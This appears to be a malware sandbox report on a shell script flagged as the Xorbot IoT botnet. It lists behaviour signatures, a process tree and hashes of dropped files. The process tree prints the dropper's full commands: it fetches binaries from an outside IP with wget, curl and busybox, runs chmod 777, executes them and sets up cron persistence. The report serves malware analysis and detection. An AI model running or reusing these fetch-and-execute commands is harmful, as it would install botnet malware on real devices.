Analysis

  • max time kernel
    128s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    20/01/2025, 14:42

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250120-r2z4fstrfl
  • SHA256 756fa55e786f4bb0bca140217e4d0f6ee14cdc505ac09e9697ffdcdc744cb688
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 9 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1516) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 36 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:714
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:718
        • /usr/bin/wget
          wget http://66.63.187.225/bins/GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          2⤵
          • Writes file to tmp directory
          PID:720
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          2⤵
          • Writes file to tmp directory
          PID:744
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          2⤵
          • Writes file to tmp directory
          PID:745
        • /bin/chmod
          chmod 777 GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          2⤵
          • File and Directory Permissions Modification
          PID:746
        • /tmp/GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          ./GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          2⤵
          • Executes dropped EXE
          PID:747
        • /bin/rm
          rm GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
          2⤵
            PID:749
          • /usr/bin/wget
            wget http://66.63.187.225/bins/DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            2⤵
            • Writes file to tmp directory
            PID:750
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            2⤵
            • Writes file to tmp directory
            PID:751
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            2⤵
            • Writes file to tmp directory
            PID:766
          • /bin/chmod
            chmod 777 DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            2⤵
            • File and Directory Permissions Modification
            PID:773
          • /tmp/DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            ./DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            2⤵
            • Executes dropped EXE
            PID:774
          • /bin/rm
            rm DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
            2⤵
              PID:778
            • /usr/bin/wget
              wget http://66.63.187.225/bins/zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              2⤵
              • Writes file to tmp directory
              PID:779
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:796
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              2⤵
              • Writes file to tmp directory
              PID:804
            • /bin/chmod
              chmod 777 zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              2⤵
              • File and Directory Permissions Modification
              PID:805
            • /tmp/zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              ./zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              2⤵
              • Executes dropped EXE
              PID:806
            • /bin/rm
              rm zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
              2⤵
                PID:808
              • /usr/bin/wget
                wget http://66.63.187.225/bins/hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                2⤵
                • Writes file to tmp directory
                PID:809
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                2⤵
                • Writes file to tmp directory
                PID:810
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                2⤵
                • Writes file to tmp directory
                PID:811
              • /bin/chmod
                chmod 777 hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                2⤵
                • File and Directory Permissions Modification
                PID:814
              • /tmp/hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                ./hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                2⤵
                • Executes dropped EXE
                PID:816
              • /bin/rm
                rm hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                2⤵
                  PID:819
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz
                  2⤵
                  • Writes file to tmp directory
                  PID:820
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz
                  2⤵
                  • Writes file to tmp directory
                  PID:837
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz
                  2⤵
                  • Writes file to tmp directory
                  PID:848
                • /bin/chmod
                  chmod 777 lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz
                  2⤵
                  • File and Directory Permissions Modification
                  PID:849
                • /tmp/lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz
                  ./lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz
                  2⤵
                  • Executes dropped EXE
                  PID:850
                • /bin/rm
                  rm lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz
                  2⤵
                    PID:852
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/f5lEUT4JymBssbxqCocmMwQQCr8UpikBMC
                    2⤵
                    • Writes file to tmp directory
                    PID:853
                  • /usr/bin/curl
                    curl -O http://66.63.187.225/bins/f5lEUT4JymBssbxqCocmMwQQCr8UpikBMC
                    2⤵
                    • Writes file to tmp directory
                    PID:854
                  • /bin/busybox
                    /bin/busybox wget http://66.63.187.225/bins/f5lEUT4JymBssbxqCocmMwQQCr8UpikBMC
                    2⤵
                    • Writes file to tmp directory
                    PID:855
                  • /bin/chmod
                    chmod 777 f5lEUT4JymBssbxqCocmMwQQCr8UpikBMC
                    2⤵
                    • File and Directory Permissions Modification
                    PID:856
                  • /tmp/f5lEUT4JymBssbxqCocmMwQQCr8UpikBMC
                    ./f5lEUT4JymBssbxqCocmMwQQCr8UpikBMC
                    2⤵
                    • Executes dropped EXE
                    PID:857
                  • /bin/rm
                    rm f5lEUT4JymBssbxqCocmMwQQCr8UpikBMC
                    2⤵
                      PID:859
                    • /usr/bin/wget
                      wget http://66.63.187.225/bins/fBKW4o6YLtpaSQ7T1GU6BPXtXOcFKgV9CI
                      2⤵
                      • Writes file to tmp directory
                      PID:860
                    • /usr/bin/curl
                      curl -O http://66.63.187.225/bins/fBKW4o6YLtpaSQ7T1GU6BPXtXOcFKgV9CI
                      2⤵
                      • Writes file to tmp directory
                      PID:864
                    • /bin/busybox
                      /bin/busybox wget http://66.63.187.225/bins/fBKW4o6YLtpaSQ7T1GU6BPXtXOcFKgV9CI
                      2⤵
                      • Writes file to tmp directory
                      PID:865
                    • /bin/chmod
                      chmod 777 fBKW4o6YLtpaSQ7T1GU6BPXtXOcFKgV9CI
                      2⤵
                      • File and Directory Permissions Modification
                      PID:866
                    • /tmp/fBKW4o6YLtpaSQ7T1GU6BPXtXOcFKgV9CI
                      ./fBKW4o6YLtpaSQ7T1GU6BPXtXOcFKgV9CI
                      2⤵
                      • Executes dropped EXE
                      PID:867
                    • /bin/rm
                      rm fBKW4o6YLtpaSQ7T1GU6BPXtXOcFKgV9CI
                      2⤵
                        PID:869
                      • /usr/bin/wget
                        wget http://66.63.187.225/bins/DNwWJNVXhtS3jSzkdFMPniBLKfksBVdeLf
                        2⤵
                        • Writes file to tmp directory
                        PID:870
                      • /usr/bin/curl
                        curl -O http://66.63.187.225/bins/DNwWJNVXhtS3jSzkdFMPniBLKfksBVdeLf
                        2⤵
                        • Writes file to tmp directory
                        PID:871
                      • /bin/busybox
                        /bin/busybox wget http://66.63.187.225/bins/DNwWJNVXhtS3jSzkdFMPniBLKfksBVdeLf
                        2⤵
                        • Writes file to tmp directory
                        PID:872
                      • /bin/chmod
                        chmod 777 DNwWJNVXhtS3jSzkdFMPniBLKfksBVdeLf
                        2⤵
                        • File and Directory Permissions Modification
                        PID:873
                      • /tmp/DNwWJNVXhtS3jSzkdFMPniBLKfksBVdeLf
                        ./DNwWJNVXhtS3jSzkdFMPniBLKfksBVdeLf
                        2⤵
                        • Executes dropped EXE
                        PID:874
                      • /bin/rm
                        rm DNwWJNVXhtS3jSzkdFMPniBLKfksBVdeLf
                        2⤵
                          PID:876
                        • /usr/bin/wget
                          wget http://66.63.187.225/bins/9EuidElj3WnhlvNn8KBCX7fD4iV56E0gUb
                          2⤵
                          • Writes file to tmp directory
                          PID:877
                        • /usr/bin/curl
                          curl -O http://66.63.187.225/bins/9EuidElj3WnhlvNn8KBCX7fD4iV56E0gUb
                          2⤵
                          • Writes file to tmp directory
                          PID:878
                        • /bin/busybox
                          /bin/busybox wget http://66.63.187.225/bins/9EuidElj3WnhlvNn8KBCX7fD4iV56E0gUb
                          2⤵
                          • Writes file to tmp directory
                          PID:879
                        • /bin/chmod
                          chmod 777 9EuidElj3WnhlvNn8KBCX7fD4iV56E0gUb
                          2⤵
                          • File and Directory Permissions Modification
                          PID:880
                        • /tmp/9EuidElj3WnhlvNn8KBCX7fD4iV56E0gUb
                          ./9EuidElj3WnhlvNn8KBCX7fD4iV56E0gUb
                          2⤵
                          • Executes dropped EXE
                          PID:881
                        • /bin/rm
                          rm 9EuidElj3WnhlvNn8KBCX7fD4iV56E0gUb
                          2⤵
                            PID:883
                          • /usr/bin/wget
                            wget http://66.63.187.225/bins/ElKsRv3aMTvVPPZUTGm28gD34lyQ2SI1Ot
                            2⤵
                            • Writes file to tmp directory
                            PID:884
                          • /usr/bin/curl
                            curl -O http://66.63.187.225/bins/ElKsRv3aMTvVPPZUTGm28gD34lyQ2SI1Ot
                            2⤵
                            • Writes file to tmp directory
                            PID:885
                          • /bin/busybox
                            /bin/busybox wget http://66.63.187.225/bins/ElKsRv3aMTvVPPZUTGm28gD34lyQ2SI1Ot
                            2⤵
                            • Writes file to tmp directory
                            PID:886
                          • /bin/chmod
                            chmod 777 ElKsRv3aMTvVPPZUTGm28gD34lyQ2SI1Ot
                            2⤵
                            • File and Directory Permissions Modification
                            PID:887
                          • /tmp/ElKsRv3aMTvVPPZUTGm28gD34lyQ2SI1Ot
                            ./ElKsRv3aMTvVPPZUTGm28gD34lyQ2SI1Ot
                            2⤵
                            • Executes dropped EXE
                            PID:888
                          • /bin/rm
                            rm ElKsRv3aMTvVPPZUTGm28gD34lyQ2SI1Ot
                            2⤵
                              PID:890
                            • /usr/bin/wget
                              wget http://66.63.187.225/bins/5ohnbO9kngWLAUsehbdrTmaeEb3upiUiPc
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:891
                            • /usr/bin/curl
                              curl -O http://66.63.187.225/bins/5ohnbO9kngWLAUsehbdrTmaeEb3upiUiPc
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:892
                            • /bin/busybox
                              /bin/busybox wget http://66.63.187.225/bins/5ohnbO9kngWLAUsehbdrTmaeEb3upiUiPc
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:893
                            • /bin/chmod
                              chmod 777 5ohnbO9kngWLAUsehbdrTmaeEb3upiUiPc
                              2⤵
                              • File and Directory Permissions Modification
                              PID:894
                            • /tmp/5ohnbO9kngWLAUsehbdrTmaeEb3upiUiPc
                              ./5ohnbO9kngWLAUsehbdrTmaeEb3upiUiPc
                              2⤵
                              • Executes dropped EXE
                              • System Network Configuration Discovery
                              PID:895
                            • /bin/rm
                              rm 5ohnbO9kngWLAUsehbdrTmaeEb3upiUiPc
                              2⤵
                              • System Network Configuration Discovery
                              PID:897
                            • /usr/bin/wget
                              wget http://66.63.187.225/bins/nYY0qetF9BnmYWPoBk7ftNuKvc2Zqd3uoq
                              2⤵
                              • Writes file to tmp directory
                              PID:898
                            • /usr/bin/curl
                              curl -O http://66.63.187.225/bins/nYY0qetF9BnmYWPoBk7ftNuKvc2Zqd3uoq
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:899
                            • /bin/busybox
                              /bin/busybox wget http://66.63.187.225/bins/nYY0qetF9BnmYWPoBk7ftNuKvc2Zqd3uoq
                              2⤵
                              • Writes file to tmp directory
                              PID:900
                            • /bin/chmod
                              chmod 777 nYY0qetF9BnmYWPoBk7ftNuKvc2Zqd3uoq
                              2⤵
                              • File and Directory Permissions Modification
                              PID:901
                            • /tmp/nYY0qetF9BnmYWPoBk7ftNuKvc2Zqd3uoq
                              ./nYY0qetF9BnmYWPoBk7ftNuKvc2Zqd3uoq
                              2⤵
                              • Executes dropped EXE
                              • Renames itself
                              • Reads runtime system information
                              PID:902
                              • /bin/sh
                                sh -c "crontab -l"
                                3⤵
                                  PID:904
                                  • /usr/bin/crontab
                                    crontab -l
                                    4⤵
                                    • Reads runtime system information
                                    PID:905
                                • /bin/sh
                                  sh -c "crontab -"
                                  3⤵
                                    PID:906
                                    • /usr/bin/crontab
                                      crontab -
                                      4⤵
                                      • Creates/modifies Cron job
                                      • Reads runtime system information
                                      PID:907
                                • /bin/rm
                                  rm nYY0qetF9BnmYWPoBk7ftNuKvc2Zqd3uoq
                                  2⤵
                                    PID:909
                                  • /usr/bin/wget
                                    wget http://66.63.187.225/bins/o8A98Bhyp9ensEuG6yXOF2X6wnnQ0Vzeik
                                    2⤵
                                      PID:912
                                    • /usr/bin/curl
                                      curl -O http://66.63.187.225/bins/o8A98Bhyp9ensEuG6yXOF2X6wnnQ0Vzeik
                                      2⤵
                                      • Reads runtime system information
                                      PID:913

                                  Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        5ohnbO9kngWLAUsehbdrTmaeEb3upiUiPc

                                        • Path /tmp/5ohnbO9kngWLAUsehbdrTmaeEb3upiUiPc
                                        • Size 119KB
                                        • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                        • MD5 SHA1 SHA512 SSDEEP

                                        9EuidElj3WnhlvNn8KBCX7fD4iV56E0gUb

                                        • Path /tmp/9EuidElj3WnhlvNn8KBCX7fD4iV56E0gUb
                                        • Size 117KB
                                        • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                        • MD5 SHA1 SHA512 SSDEEP

                                        DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW

                                        • Path /tmp/DDnnT1XvrBXmv4WUtTM5FtvJOsUldRKjDW
                                        • Size 99KB
                                        • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                        • MD5 SHA1 SHA512 SSDEEP

                                        DNwWJNVXhtS3jSzkdFMPniBLKfksBVdeLf

                                        • Path /tmp/DNwWJNVXhtS3jSzkdFMPniBLKfksBVdeLf
                                        • Size 111KB
                                        • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                        • MD5 SHA1 SHA512 SSDEEP

                                        ElKsRv3aMTvVPPZUTGm28gD34lyQ2SI1Ot

                                        • Path /tmp/ElKsRv3aMTvVPPZUTGm28gD34lyQ2SI1Ot
                                        • Size 111KB
                                        • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                        • MD5 SHA1 SHA512 SSDEEP

                                        GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC

                                        • Path /tmp/GX9EOmhFslaIdOBN5W71NPehQ6WzGxZBKC
                                        • Size 112KB
                                        • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                        • MD5 SHA1 SHA512 SSDEEP

                                        f5lEUT4JymBssbxqCocmMwQQCr8UpikBMC

                                        • Path /tmp/f5lEUT4JymBssbxqCocmMwQQCr8UpikBMC
                                        • Size 141KB
                                        • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                        • MD5 SHA1 SHA512 SSDEEP

                                        fBKW4o6YLtpaSQ7T1GU6BPXtXOcFKgV9CI

                                        • Path /tmp/fBKW4o6YLtpaSQ7T1GU6BPXtXOcFKgV9CI
                                        • Size 127KB
                                        • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                        • MD5 SHA1 SHA512 SSDEEP

                                        hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt

                                        • Path /tmp/hTe6Qm2wotbDRyzM52rV91HY9HYBnkZpUt
                                        • Size 177KB
                                        • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                        • MD5 SHA1 SHA512 SSDEEP

                                        lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz

                                        • Path /tmp/lDWv4DMwuWoQI1QP9Zp0dxwf8TuSzWpUWz
                                        • Size 151KB
                                        • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                        • MD5 SHA1 SHA512 SSDEEP

                                        nYY0qetF9BnmYWPoBk7ftNuKvc2Zqd3uoq

                                        • Path /tmp/nYY0qetF9BnmYWPoBk7ftNuKvc2Zqd3uoq
                                        • Size 151KB
                                        • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                        • MD5 SHA1 SHA512 SSDEEP

                                        zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV

                                        • Path /tmp/zfGODKdvrLy4IgGvDsXJKn2wzqxyIOR7nV
                                        • Size 98KB
                                        • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                        • MD5 SHA1 SHA512 SSDEEP

                                        tmp.5LwASX

                                        • Path /var/spool/cron/crontabs/tmp.5LwASX
                                        • Size 210B
                                        • SHA256 d14c4fb89e8678ae503d2a47bb5c301b73afc9d839d68fef5a515720e81019b2
                                        • MD5 SHA1 SHA512